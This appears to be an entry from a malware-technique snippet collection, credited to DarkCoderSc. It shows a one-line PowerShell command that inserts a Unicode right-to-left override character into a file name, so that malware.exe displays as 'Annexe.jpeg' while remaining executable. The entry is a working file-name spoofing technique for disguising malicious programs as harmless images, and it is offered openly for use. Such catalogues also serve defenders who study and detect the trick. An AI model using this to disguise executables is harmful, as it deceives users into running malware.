(PowerShell) Right-to-Left Override (RLO) Extension Spoofing by Jean-Pierre LESUEUR (DarkCoderSc)
Created the Thursday 03 August 2023. Updated 5 days, 5 hours ago.
Description:
In this example malware.exe becomes Annexe.jpeg but keeps its executable properties.
Code
Rename-Item -Path malware.exe -NewName ("Ann" + ( [char]0x202E) + "gepj.exe")